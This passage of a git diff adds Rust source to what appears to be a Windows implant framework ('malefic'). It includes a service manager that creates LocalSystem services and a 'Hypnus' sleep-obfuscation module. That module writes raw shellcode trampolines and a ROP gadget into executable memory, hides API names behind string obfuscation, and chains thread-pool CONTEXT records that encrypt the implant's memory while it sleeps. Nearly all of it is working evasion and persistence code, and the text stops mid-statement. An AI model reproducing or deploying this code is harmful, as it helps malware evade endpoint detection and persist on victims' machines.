SERVICE_WIN32_SHARE_PROCESS, +}; + +use crate::common; +use std::mem::size_of; +use windows::core::{Result, HRESULT, PCWSTR}; +use windows::Win32::Foundation::ERROR_MORE_DATA; + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceType { + OwnProcess, + SharedProcess, + Driver, +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceStartType { + BootStart, + SystemStart, + AutoStart, + DemandStart, + Disabled, +} + +impl From<&ServiceStartType> for SERVICE_START_TYPE { + fn from(st: &ServiceStartType) -> Self { + match st { + ServiceStartType::BootStart => SERVICE_BOOT_START, + ServiceStartType::SystemStart => SERVICE_SYSTEM_START, + ServiceStartType::AutoStart => SERVICE_AUTO_START, + ServiceStartType::DemandStart => SERVICE_DEMAND_START, + ServiceStartType::Disabled => SERVICE_DISABLED, + } + } +} + +impl From for ServiceStartType { + fn from(val: SERVICE_START_TYPE) -> Self { + match val { + SERVICE_BOOT_START => ServiceStartType::BootStart, + SERVICE_SYSTEM_START => ServiceStartType::SystemStart, + SERVICE_AUTO_START => ServiceStartType::AutoStart, + SERVICE_DEMAND_START => ServiceStartType::DemandStart, + _ => ServiceStartType::Disabled, + } + } +} + +impl ServiceStartType { + pub fn to_win32(&self) -> SERVICE_START_TYPE { + self.into() + } +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceErrorControl { + Ignore, + Normal, + Severe, + Critical, +} + +impl From<&ServiceErrorControl> for SERVICE_ERROR { + fn from(ec: &ServiceErrorControl) -> Self { + match ec { + ServiceErrorControl::Ignore => SERVICE_ERROR_IGNORE, + ServiceErrorControl::Normal => SERVICE_ERROR_NORMAL, + ServiceErrorControl::Severe => SERVICE_ERROR_SEVERE, + ServiceErrorControl::Critical => SERVICE_ERROR_CRITICAL, + } + } +} + +impl From for ServiceErrorControl { + fn from(val: SERVICE_ERROR) -> Self { + match val { + SERVICE_ERROR_IGNORE => ServiceErrorControl::Ignore, + SERVICE_ERROR_NORMAL => ServiceErrorControl::Normal, + SERVICE_ERROR_SEVERE => ServiceErrorControl::Severe, + SERVICE_ERROR_CRITICAL => ServiceErrorControl::Critical, + _ => ServiceErrorControl::Normal, + } + } +} + +impl ServiceErrorControl { + pub fn to_win32(&self) -> SERVICE_ERROR { + self.into() + } +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceDependency { + Service(String), + Group(String), +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceState { + Stopped, + StartPending, + StopPending, + Running, + ContinuePending, + PausePending, + Paused, +} + +impl From for ServiceState { + fn from(val: u32) -> Self { + match windows::Win32::System::Services::SERVICE_STATUS_CURRENT_STATE(val) { + SERVICE_STOPPED => ServiceState::Stopped, + SERVICE_START_PENDING => ServiceState::StartPending, + SERVICE_STOP_PENDING => ServiceState::StopPending, + SERVICE_RUNNING => ServiceState::Running, + SERVICE_CONTINUE_PENDING => ServiceState::ContinuePending, + SERVICE_PAUSE_PENDING => ServiceState::PausePending, + SERVICE_PAUSED => ServiceState::Paused, + _ => ServiceState::Stopped, + } + } +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceExitCode { + Win32(u32), + ServiceSpecific(u32), +} + +#[derive(Debug, Clone)] +pub struct ServiceConfig { + pub name: String, + pub service_type: ServiceType, + pub start_type: ServiceStartType, + pub error_control: ServiceErrorControl, + pub executable_path: PathBuf, + pub tag_id: u32, + pub account_name: Option, + pub display_name: OsString, +} + +#[derive(Debug, Clone)] +pub struct ServiceStatus { + pub current_state: ServiceState, + pub process_id: Option, + pub exit_code: ServiceExitCode, + pub checkpoint: u32, + pub wait_hint: Duration, +} + +#[derive(Debug, Clone)] +pub struct Service { + pub config: ServiceConfig, + pub status: Option, +} + +pub struct ServiceManager { + scm_handle: SC_HANDLE, +} + +// Define TokenElevation as constant + +impl ServiceManager { + // Open service manager + pub fn open() -> Result { + #[cfg(feature = "token")] + let elevated = crate::token::is_privilege().unwrap_or(false); + #[cfg(not(feature = "token"))] + let elevated = false; + + unsafe { + let access = if elevated { + SC_MANAGER_ALL_ACCESS + } else { + SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE + }; + + let scm_handle = OpenSCManagerW(PCWSTR::null(), PCWSTR::null(), access)?; + Ok(ServiceManager { scm_handle }) + } + } + + // Close service manager + pub fn close(&mut self) { + if !self.scm_handle.is_invalid() { + let _ = unsafe { CloseServiceHandle(self.scm_handle) }; + self.scm_handle = SC_HANDLE::default(); + } + } + + pub fn create_service( + &self, + name: &str, + display_name: &str, + executable_path: &str, + start_type: ServiceStartType, + error_control: ServiceErrorControl, + account_name: Option<&str>, + ) -> Result { + let service_name_wide = common::to_wide_string(name); + let display_name_wide = common::to_wide_string(display_name); + let executable_path_wide = common::to_wide_string(executable_path); + + let account_name_wide = match account_name { + Some(account) => common::to_wide_string(account), + None => common::to_wide_string("LocalSystem"), // Default to LocalSystem account + }; + + unsafe { + let service_handle = CreateServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + PCWSTR(display_name_wide.as_ptr()), + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + start_type.to_win32(), + error_control.to_win32(), + PCWSTR(executable_path_wide.as_ptr()), + None, // Load order group + None, // Tag ID + None, // Dependencies + PCWSTR(account_name_wide.as_ptr()), // Service account name + None, // Password + )?; + + let _ = CloseServiceHandle(service_handle); + + // Return `ServiceConfig` + Ok(ServiceConfig { + name: name.to_string(), + service_type: ServiceType::OwnProcess, + start_type, + error_control, + executable_path: PathBuf::from(executable_path), + tag_id: 0, // Tag ID defaults to 0 here + account_name: Some(OsString::from(account_name.unwrap_or("LocalSystem"))), + display_name: OsString::from(display_name), + }) + } + } + + // Start service + pub fn start_service(&self, config: &ServiceConfig) -> Result<()> { + let service_name_wide = common::to_wide_string(&config.name); + + unsafe { + let service_handle = OpenServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + SERVICE_START, + )?; + + StartServiceW(service_handle, None)?; + let _ = CloseServiceHandle(service_handle); + + Ok(()) + } + } + + // Stop service + pub fn stop_service(&self, config: &ServiceConfig) -> Result<()> { + let service_name_wide = common::to_wide_string(&config.name); + + unsafe { + let service_handle = OpenServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + SERVICE_STOP, + )?; + + let mut status = SERVICE_STATUS::default(); + ControlService(service_handle, SERVICE_CONTROL_STOP, &mut status)?; + let _ = CloseServiceHandle(service_handle); + + Ok(()) + } + } + + // Delete service + pub fn delete_service(&self, config: &ServiceConfig) -> Result<()> { + let service_name_wide = common::to_wide_string(&config.name); + + unsafe { + let service_handle = OpenServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + SERVICE_ALL_ACCESS, + )?; + + DeleteService(service_handle)?; + let _ = CloseServiceHandle(service_handle); + } + Ok(()) + } + + pub fn query_service(&self, service_name: &str) -> Result { + let service_name_wide = common::to_wide_string(service_name); + + unsafe { + let service_handle = OpenServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + SERVICE_QUERY_CONFIG, + )?; + + let mut config_size_needed = 0; + let result = QueryServiceConfigW(service_handle, None, 0, &mut config_size_needed); + if result.is_ok() || config_size_needed == 0 { + CloseServiceHandle(service_handle)?; + return Err(common::last_win32_error()); + } + + let mut config_buffer = vec![0u8; config_size_needed as usize]; + let service_config: *mut QUERY_SERVICE_CONFIGW = config_buffer.as_mut_ptr() as *mut _; + + if let Err(e) = QueryServiceConfigW( + service_handle, + Some(service_config), + config_size_needed, + &mut config_size_needed, + ) { + CloseServiceHandle(service_handle)?; + return Err(e); + } + + let executable_path = + common::wide_to_string(PCWSTR((*service_config).lpBinaryPathName.0)); + let account_name = if !(*service_config).lpServiceStartName.is_null() { + Some(OsString::from(common::wide_to_string(PCWSTR( + (*service_config).lpServiceStartName.0, + )))) + } else { + None + }; + + let display_name = if !(*service_config).lpDisplayName.is_null() { + OsString::from(common::wide_to_string(PCWSTR( + (*service_config).lpDisplayName.0, + ))) + } else { + OsString::from(service_name) + }; + + CloseServiceHandle(service_handle)?; + + Ok(ServiceConfig { + name: service_name.to_string(), + service_type: match (*service_config).dwServiceType { + SERVICE_WIN32_OWN_PROCESS => ServiceType::OwnProcess, + SERVICE_WIN32_SHARE_PROCESS => ServiceType::SharedProcess, + _ => ServiceType::Driver, + }, + start_type: ServiceStartType::from((*service_config).dwStartType), + error_control: ServiceErrorControl::from((*service_config).dwErrorControl), + executable_path: PathBuf::from(executable_path), + tag_id: (*service_config).dwTagId, + account_name, + display_name, + }) + } + } + + pub fn list_services(&self) -> Result> { + let mut services = Vec::new(); + let service_type_filter = SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS; + let more_data_code = HRESULT::from_win32(ERROR_MORE_DATA.0); + + unsafe { + let mut resume_handle: u32 = 0; + + loop { + let mut buffer_size_needed = 0; + let mut service_count = 0; + + // First call to get required buffer size + let result = EnumServicesStatusExW( + self.scm_handle, + SC_ENUM_PROCESS_INFO, + service_type_filter, + SERVICE_STATE_ALL, + None, + &mut buffer_size_needed, + &mut service_count, + Some(&mut resume_handle), + None, + ); + + match result { + Ok(()) => break, // No more services + Err(e) if e.code() == more_data_code => {} + Err(_) => break, + } + + // Allocate buffer + let mut buffer = vec![0u8; buffer_size_needed as usize]; + + // Second call to get service data + let result = EnumServicesStatusExW( + self.scm_handle, + SC_ENUM_PROCESS_INFO, + service_type_filter, + SERVICE_STATE_ALL, + Some(&mut buffer), + &mut buffer_size_needed, + &mut service_count, + Some(&mut resume_handle), + None, + ); + + let has_more = match result { + Ok(()) => false, + Err(e) if e.code() == more_data_code => true, + Err(e) => return Err(e), + }; + + // Iterate through services + let services_ptr = buffer.as_ptr() + as *const windows::Win32::System::Services::ENUM_SERVICE_STATUS_PROCESSW; + for i in 0..service_count { + let service_status = services_ptr.add(i as usize).read(); + let service_name = + common::wide_to_string(PCWSTR(service_status.lpServiceName.0)); + + if let Ok(service_config) = self.query_service(&service_name) { + services.push(service_config); + } + } + + if !has_more { + break; + } + } + } + + Ok(services) + } + + // Query service status and return `ServiceStatus` + pub fn query_service_status(&self, service: &ServiceConfig) -> Result { + let service_name_wide = common::to_wide_string(&service.name); + + unsafe { + let service_handle = OpenServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + SERVICE_QUERY_STATUS, + )?; + + let mut status = SERVICE_STATUS_PROCESS::default(); + let status_slice = std::slice::from_raw_parts_mut( + &mut status as *mut _ as *mut u8, + size_of::(), + ); + + QueryServiceStatusEx( + service_handle, + SC_STATUS_PROCESS_INFO, + Some(status_slice), + &mut (size_of::() as u32), + )?; + + let _ = CloseServiceHandle(service_handle); + + Ok(ServiceStatus { + current_state: ServiceState::from(status.dwCurrentState.0), + process_id: Some(status.dwProcessId), + exit_code: ServiceExitCode::Win32(status.dwWin32ExitCode), + checkpoint: status.dwCheckPoint, + wait_hint: Duration::from_millis(status.dwWaitHint as u64), + }) + } + } + + // `list_and_query` API, returns all services and their status at once + pub fn list_and_query(&self) -> Result> { + let service_configs = self.list_services()?; + let mut services = Vec::new(); + + for config in service_configs { + // Skip services whose status query fails instead of failing entirely + if let Ok(status) = self.query_service_status(&config) { + services.push(Service { + config, + status: Some(status), + }); + } else { + services.push(Service { + config, + status: None, + }); + } + } + + Ok(services) + } +} + +impl Drop for ServiceManager { + fn drop(&mut self) { + if !self.scm_handle.is_invalid() { + #[cfg(debug_assertions)] + malefic_common::debug!("WARNING: ServiceManager dropped without close()"); + let _ = unsafe { CloseServiceHandle(self.scm_handle) }; + } + } +} diff --git a/malefic-crates/win/src/sleep/allocator.rs b/malefic-crates/win/src/sleep/allocator.rs new file mode 100644 index 0000000..542c082 --- /dev/null +++ b/malefic-crates/win/src/sleep/allocator.rs @@ -0,0 +1,63 @@ +#![allow(non_snake_case)] + +use core::alloc::{GlobalAlloc, Layout}; +use core::ffi::c_void; +use core::ptr::{null_mut, NonNull}; + +use crate::sleep::types::HEAP_GROWABLE; +use crate::sleep::winapis::{RtlAllocateHeap, RtlCreateHeap, RtlFreeHeap}; + +/// Global handle to the private heap used by `HypnusHeap`. +static mut HEAP_HANDLE: Option> = None; + +/// A custom global allocator backed by a private Windows heap (RtlCreateHeap). +/// +/// When used as `#[global_allocator]`, all Rust allocations flow through +/// a dedicated heap. This allows `obfuscate_heap` to XOR-encrypt every +/// live allocation during sleep and reverse the process on wake. +pub struct HypnusHeap; + +impl HypnusHeap { + /// Creates a new private heap via RtlCreateHeap, stores the handle globally. + fn create_heap() -> *mut c_void { + let handle = RtlCreateHeap(HEAP_GROWABLE, null_mut(), 0, 0, null_mut(), null_mut()); + + if !handle.is_null() { + unsafe { HEAP_HANDLE = Some(NonNull::new_unchecked(handle)) }; + } + + handle + } + + /// Returns the handle to the private heap, creating it on first call. + pub fn get() -> *mut c_void { + unsafe { + HEAP_HANDLE + .map(|p| p.as_ptr()) + .unwrap_or_else(Self::create_heap) + } + } +} + +unsafe impl GlobalAlloc for HypnusHeap { + unsafe fn alloc(&self, layout: Layout) -> *mut u8 { + let heap = Self::get(); + let size = layout.size(); + if size == 0 { + return null_mut(); + } + RtlAllocateHeap(heap, 0, size) as *mut u8 + } + + unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) { + if ptr.is_null() { + return; + } + // Zero memory before freeing (defense in depth) + core::ptr::write_bytes(ptr, 0, layout.size()); + RtlFreeHeap(Self::get(), 0, ptr.cast()); + } +} + +unsafe impl Sync for HypnusHeap {} +unsafe impl Send for HypnusHeap {} diff --git a/malefic-crates/win/src/sleep/config.rs b/malefic-crates/win/src/sleep/config.rs new file mode 100644 index 0000000..dbb12e9 --- /dev/null +++ b/malefic-crates/win/src/sleep/config.rs @@ -0,0 +1,258 @@ +#![allow(non_snake_case)] + +use core::ptr::null_mut; +use std::sync::OnceLock; + +use anyhow::{bail, Result}; +use malefic_gateway::obfstr::obfstr as s; + +use crate::kit::apis::{m_get_proc_address, m_load_library_a}; +use crate::sleep::types::*; +use crate::sleep::winapis::*; + +// ── Global configuration ───────────────────────────────────────────── + +static CONFIG: OnceLock> = OnceLock::new(); + +/// Lazily initializes and returns a singleton Config instance. +#[inline] +pub fn init_config() -> Result<&'static Config> { + let result = CONFIG.get_or_init(|| Config::new().map_err(|e| format!("{}", e))); + match result { + Ok(cfg) => Ok(cfg), + Err(e) => bail!("{}", e), + } +} + +// ── Config ─────────────────────────────────────────────────────────── + +#[derive(Default, Debug, Clone, Copy)] +pub struct Config { + pub callback: u64, + pub trampoline: u64, + pub gadget_rbp: u64, + pub modules: Modules, + pub wait_for_single: WinApi, + pub system_function040: WinApi, + pub system_function041: WinApi, + pub nt_continue: WinApi, + pub nt_set_event: WinApi, + pub nt_protect_virtual_memory: WinApi, + pub rtl_exit_user_thread: WinApi, + pub nt_wait_for_single: WinApi, + pub rtl_capture_context: WinApi, + pub nt_test_alert: WinApi, +} + +impl Config { + pub fn new() -> Result { + let modules = Self::modules(); + let mut cfg = Self::resolve_apis(modules); + cfg.callback = Self::alloc_callback()?; + cfg.trampoline = Self::alloc_trampoline()?; + cfg.gadget_rbp = Self::alloc_gadget_rbp()?; + Ok(cfg) + } + + /// Allocates executable memory used as a callback trampoline in thread pool callbacks. + /// The trampoline reads CONTEXT.Rax and jumps to it: + /// mov rcx, rdx ; 48 89 D1 + /// mov rax, [rcx+0x78] ; 48 8B 41 78 (CONTEXT.Rax offset = 0x78) + /// jmp rax ; FF E0 + pub fn alloc_callback() -> Result { + let callback: &[u8] = &[ + 0x48, 0x89, 0xD1, // mov rcx, rdx + 0x48, 0x8B, 0x41, 0x78, // mov rax, QWORD PTR [rcx+0x78] + 0xFF, 0xE0, // jmp rax + ]; + + let mut size = callback.len(); + let mut addr = null_mut(); + if !nt_success(NtAllocateVirtualMemory( + nt_current_process(), + &mut addr, + 0, + &mut size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + )) { + bail!(s!("failed to allocate callback memory").to_string()); + } + + unsafe { + core::ptr::copy_nonoverlapping(callback.as_ptr(), addr as *mut u8, callback.len()); + } + + let mut old_protect = 0u32; + if !nt_success(NtProtectVirtualMemory( + nt_current_process(), + &mut addr, + &mut size, + PAGE_EXECUTE_READ as u32, + &mut old_protect, + )) { + bail!(s!("failed to change callback memory protection").to_string()); + } + + NtLockVirtualMemory(nt_current_process(), &mut addr, &mut size, VM_LOCK_1); + Ok(addr as u64) + } + + /// Allocates trampoline memory for RtlCaptureContext execution. + /// Thread pool passes the parameter in RDX, not RCX. The trampoline + /// moves RDX to RCX and jumps to [RCX] (CONTEXT.P1Home = RtlCaptureContext). + /// mov rcx, rdx ; 48 89 D1 + /// xor rdx, rdx ; 48 31 D2 + /// jmp [rcx] ; FF 21 + pub fn alloc_trampoline() -> Result { + let trampoline: &[u8] = &[ + 0x48, 0x89, 0xD1, // mov rcx, rdx + 0x48, 0x31, 0xD2, // xor rdx, rdx + 0xFF, 0x21, // jmp QWORD PTR [rcx] + ]; + + let mut size = trampoline.len(); + let mut addr = null_mut(); + if !nt_success(NtAllocateVirtualMemory( + nt_current_process(), + &mut addr, + 0, + &mut size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + )) { + bail!(s!("failed to allocate trampoline memory").to_string()); + } + + unsafe { + core::ptr::copy_nonoverlapping(trampoline.as_ptr(), addr as *mut u8, trampoline.len()); + } + + let mut old_protect = 0u32; + if !nt_success(NtProtectVirtualMemory( + nt_current_process(), + &mut addr, + &mut size, + PAGE_EXECUTE_READ as u32, + &mut old_protect, + )) { + bail!(s!("failed to change trampoline memory protection").to_string()); + } + + NtLockVirtualMemory(nt_current_process(), &mut addr, &mut size, VM_LOCK_1); + Ok(addr as u64) + } + + /// Allocates executable memory for the `mov rsp, rbp; ret` gadget. + /// This gadget restores the stack pointer after each CONTEXT chain step, + /// allowing the thread to return cleanly to the threadpool dispatch loop. + /// mov rsp, rbp ; 48 89 EC + /// ret ; C3 + pub fn alloc_gadget_rbp() -> Result { + let gadget: &[u8] = &[ + 0x48, 0x89, 0xEC, // mov rsp, rbp + 0xC3, // ret + ]; + + let mut size = gadget.len(); + let mut addr = null_mut(); + if !nt_success(NtAllocateVirtualMemory( + nt_current_process(), + &mut addr, + 0, + &mut size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + )) { + bail!(s!("failed to allocate gadget_rbp memory").to_string()); + } + + unsafe { + core::ptr::copy_nonoverlapping(gadget.as_ptr(), addr as *mut u8, gadget.len()); + } + + let mut old_protect = 0u32; + if !nt_success(NtProtectVirtualMemory( + nt_current_process(), + &mut addr, + &mut size, + PAGE_EXECUTE_READ as u32, + &mut old_protect, + )) { + bail!(s!("failed to change gadget_rbp memory protection").to_string()); + } + + NtLockVirtualMemory(nt_current_process(), &mut addr, &mut size, VM_LOCK_1); + Ok(addr as u64) + } + + /// Resolves the base addresses of key Windows modules. + fn modules() -> Modules { + unsafe { + let ntdll = m_load_library_a(s!("ntdll.dll\0").as_ptr()); + let kernel32 = m_load_library_a(s!("kernel32.dll\0").as_ptr()); + let kernelbase = m_load_library_a(s!("kernelbase.dll\0").as_ptr()); + + // Try CryptBase.dll first, fall back to advapi32.dll + let mut cryptbase = m_load_library_a(s!("CryptBase.dll\0").as_ptr()); + if cryptbase.is_null() { + cryptbase = m_load_library_a(s!("advapi32.dll\0").as_ptr()); + } + + Modules { + ntdll: Dll::from(ntdll), + kernel32: Dll::from(kernel32), + cryptbase: Dll::from(cryptbase), + kernelbase: Dll::from(kernelbase), + } + } + } + + /// Resolves API function addresses from loaded modules. + fn resolve_apis(modules: Modules) -> Self { + let ntdll = modules.ntdll.as_ptr(); + let kernel32 = modules.kernel32.as_ptr(); + let cryptbase = modules.cryptbase.as_ptr(); + + unsafe { + Self { + modules, + wait_for_single: WinApi::from(m_get_proc_address( + kernel32, + s!("WaitForSingleObject\0").as_ptr(), + )), + system_function040: WinApi::from(m_get_proc_address( + cryptbase, + s!("SystemFunction040\0").as_ptr(), + )), + system_function041: WinApi::from(m_get_proc_address( + cryptbase, + s!("SystemFunction041\0").as_ptr(), + )), + nt_continue: WinApi::from(m_get_proc_address(ntdll, s!("NtContinue\0").as_ptr())), + nt_set_event: WinApi::from(m_get_proc_address(ntdll, s!("NtSetEvent\0").as_ptr())), + nt_protect_virtual_memory: WinApi::from(m_get_proc_address( + ntdll, + s!("NtProtectVirtualMemory\0").as_ptr(), + )), + rtl_exit_user_thread: WinApi::from(m_get_proc_address( + ntdll, + s!("RtlExitUserThread\0").as_ptr(), + )), + nt_wait_for_single: WinApi::from(m_get_proc_address( + ntdll, + s!("NtWaitForSingleObject\0").as_ptr(), + )), + rtl_capture_context: WinApi::from(m_get_proc_address( + ntdll, + s!("RtlCaptureContext\0").as_ptr(), + )), + nt_test_alert: WinApi::from(m_get_proc_address( + ntdll, + s!("NtTestAlert\0").as_ptr(), + )), + ..Default::default() + } + } + } +} diff --git a/malefic-crates/win/src/sleep/hypnus.rs b/malefic-crates/win/src/sleep/hypnus.rs new file mode 100644 index 0000000..4e9d9f0 --- /dev/null +++ b/malefic-crates/win/src/sleep/hypnus.rs @@ -0,0 +1,894 @@ +#![allow( + non_snake_case, + non_camel_case_types, + non_upper_case_globals, + clippy::missing_transmute_annotations +)] + +use core::ffi::c_void; +use core::mem::zeroed; +use core::ptr::null_mut; + +use anyhow::{bail, Result}; +use malefic_gateway::obfstr::obfstr as s; + +use crate::sleep::config::{init_config, Config}; +use crate::sleep::types::*; +use crate::sleep::winapis::*; + +// ── Public types ───────────────────────────────────────────────────── + +/// Enumeration of supported memory obfuscation strategies. +pub enum Obfuscation { + /// Thread pool timer-based (`TpSetTimer`). + Timer, + /// Thread pool wait-based (`TpSetWait`). + Wait, + /// APC-based (`NtQueueApcThread`). + Foliage, +} + +/// Bit-flags for obfuscation modes. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +#[repr(transparent)] +pub struct ObfMode(pub u32); + +impl ObfMode { + pub const None: Self = ObfMode(0b0000); + pub const Heap: Self = ObfMode(0b0001); + pub const Rwx: Self = ObfMode(0b0010); + + pub fn contains(self, other: ObfMode) -> bool { + (self.0 & other.0) == other.0 + } +} + +impl core::ops::BitOr for ObfMode { + type Output = Self; + fn bitor(self, rhs: Self) -> Self::Output { + ObfMode(self.0 | rhs.0) + } +} + +// ── Macros ─────────────────────────────────────────────────────────── + +#[macro_export] +macro_rules! timer { + ($base:expr, $size:expr, $time:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Timer, + $crate::sleep::hypnus::ObfMode::None, + ) + }; + ($base:expr, $size:expr, $time:expr, $mode:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Timer, + $mode, + ) + }; +} + +#[macro_export] +macro_rules! wait { + ($base:expr, $size:expr, $time:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Wait, + $crate::sleep::hypnus::ObfMode::None, + ) + }; + ($base:expr, $size:expr, $time:expr, $mode:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Wait, + $mode, + ) + }; +} + +#[macro_export] +macro_rules! foliage { + ($base:expr, $size:expr, $time:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Foliage, + $crate::sleep::hypnus::ObfMode::None, + ) + }; + ($base:expr, $size:expr, $time:expr, $mode:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Foliage, + $mode, + ) + }; +} + +// ── Hypnus core ────────────────────────────────────────────────────── + +#[derive(Clone, Copy, Debug)] +struct Hypnus { + base: u64, + size: u64, + time: u64, + cfg: &'static Config, + mode: ObfMode, +} + +impl Hypnus { + #[inline] + fn new(base: u64, size: u64, time: u64, mode: ObfMode) -> Result { + Self::new_from_ms(base, size, time.saturating_mul(1000), mode) + } + + /// Create from millisecond-precision delay. + /// Internally `self.time` is stored in ms (matching the Windows timer API). + #[inline] + fn new_from_ms(base: u64, size: u64, time_ms: u64, mode: ObfMode) -> Result { + if base == 0 || size == 0 || time_ms == 0 { + bail!(s!("invalid arguments").to_string()) + } + + Ok(Self { + base, + size, + time: time_ms, + mode, + cfg: init_config()?, + }) + } + + /// Timer strategy: uses TpSetTimer to drive the 7-step CONTEXT chain. + fn timer(&mut self) -> Result<()> { + unsafe { + let heap = self.mode.contains(ObfMode::Heap); + let protection = if self.mode.contains(ObfMode::Rwx) { + PAGE_EXECUTE_READWRITE + } else { + PAGE_EXECUTE_READ + }; + + // Create 3 synchronization events + let mut events = [null_mut(); 3]; + for event in &mut events { + let status = NtCreateEvent( + event, + EVENT_ALL_ACCESS, + null_mut(), + EVENT_TYPE::NotificationEvent, + 0, + ); + if !nt_success(status) { + bail!(s!("NtCreateEvent Failed").to_string()); + } + } + + // Allocate thread pool with one worker + let mut pool = null_mut(); + let mut status = TpAllocPool(&mut pool, null_mut()); + if !nt_success(status) { + bail!(s!("TpAllocPool Failed").to_string()); + } + + let mut stack = TP_POOL_STACK_INFORMATION { + StackCommit: 0x80000, + StackReserve: 0x80000, + }; + status = TpSetPoolStackInformation(pool, &mut stack); + if !nt_success(status) { + bail!(s!("TpSetPoolStackInformation Failed").to_string()); + } + + TpSetPoolMinThreads(pool, 1); + TpSetPoolMaxThreads(pool, 1); + + let mut env = TP_CALLBACK_ENVIRON_V3 { + Pool: pool, + ..Default::default() + }; + + // Capture the current thread context via trampoline + let mut timer_ctx = null_mut(); + let mut ctx_init = CONTEXT { + ContextFlags: CONTEXT_FULL, + P1Home: self.cfg.rtl_capture_context.as_u64(), + ..Default::default() + }; + + status = TpAllocTimer( + &mut timer_ctx, + self.cfg.trampoline as *mut c_void, + &mut ctx_init as *mut _ as *mut c_void, + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocTimer [RtlCaptureContext] Failed").to_string()); + } + + let mut delay = zeroed::(); + delay.QuadPart = -(100i64 * 10_000); + TpSetTimer(timer_ctx, &mut delay, 0, 0); + + // Signal after RtlCaptureContext finishes + let mut timer_event = null_mut(); + status = TpAllocTimer( + &mut timer_event, + NtSetEvent2 as *mut c_void, + events[0], + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocTimer [NtSetEvent] Failed").to_string()); + } + + delay.QuadPart = -(200i64 * 10_000); + TpSetTimer(timer_event, &mut delay, 0, 0); + + // Wait for context capture + status = NtWaitForSingleObject(events[0], 0, null_mut()); + if !nt_success(status) { + bail!(s!("NtWaitForSingleObject Failed").to_string()); + } + + // Build 7-step CONTEXT chain + let mut ctxs = [ctx_init; 7]; + for ctx in &mut ctxs { + ctx.Rax = self.cfg.nt_continue.as_u64(); + // Rbp must point at [ctx_init.Rsp - 8] where the threadpool + // dispatch return address lives (pushed by the threadpool's `call`). + // RtlCaptureContext stores Rsp+8 (accounting for ret addr), so + // ctx.Rsp - 8 = the position of the threadpool's return address. + ctx.Rbp = ctx.Rsp - 8; + // Move Rsp down to avoid conflicts with the worker thread's stack + ctx.Rsp = (ctx.Rsp - 0x1000 * 5) & !0xF; // align to 16 bytes + // Write gadget_rbp (mov rsp, rbp; ret) as return address at [Rsp] + (ctx.Rsp as *mut u64).write(self.cfg.gadget_rbp); + } + + // Duplicate thread handle + let mut h_thread = null_mut(); + status = NtDuplicateObject( + nt_current_process(), + nt_current_thread(), + nt_current_process(), + &mut h_thread, + 0, + 0, + DUPLICATE_SAME_ACCESS, + ); + if !nt_success(status) { + bail!(s!("NtDuplicateObject Failed").to_string()); + } + + // Step 0: Wait for signal + ctxs[0].Rip = self.cfg.nt_wait_for_single.into(); + ctxs[0].Rcx = events[1] as u64; + ctxs[0].Rdx = 0; + ctxs[0].R8 = 0; + + // Step 1: VirtualProtect → RW + let mut old_protect = 0u32; + let (mut base, mut size) = (self.base, self.size); + ctxs[1].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[1].Rcx = nt_current_process() as u64; + ctxs[1].Rdx = (&mut base as *mut u64) as u64; + ctxs[1].R8 = (&mut size as *mut u64) as u64; + ctxs[1].R9 = PAGE_READWRITE as u64; + + // Step 2: Encrypt (SystemFunction040 takes value params, not pointers) + ctxs[2].Rip = self.cfg.system_function040.into(); + ctxs[2].Rcx = self.base; + ctxs[2].Rdx = self.size; + ctxs[2].R8 = 0; + + // Step 3: Sleep (WaitForSingleObject with timeout) + ctxs[3].Rip = self.cfg.wait_for_single.into(); + ctxs[3].Rcx = h_thread as u64; + ctxs[3].Rdx = self.time; + ctxs[3].R8 = 0; + + // Step 4: Decrypt (SystemFunction041 takes value params, not pointers) + ctxs[4].Rip = self.cfg.system_function041.into(); + ctxs[4].Rcx = self.base; + ctxs[4].Rdx = self.size; + ctxs[4].R8 = 0; + + // Step 5: VirtualProtect → restore + ctxs[5].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[5].Rcx = nt_current_process() as u64; + ctxs[5].Rdx = base.as_u64(); + ctxs[5].R8 = size.as_u64(); + ctxs[5].R9 = protection; + + // Step 6: Signal completion + ctxs[6].Rip = self.cfg.nt_set_event.into(); + ctxs[6].Rcx = events[2] as u64; + ctxs[6].Rdx = 0; + + // Patch old_protect into the 5th argument slot (Rsp+0x28) for NtProtectVirtualMemory + ((ctxs[1].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + ((ctxs[5].Rsp + 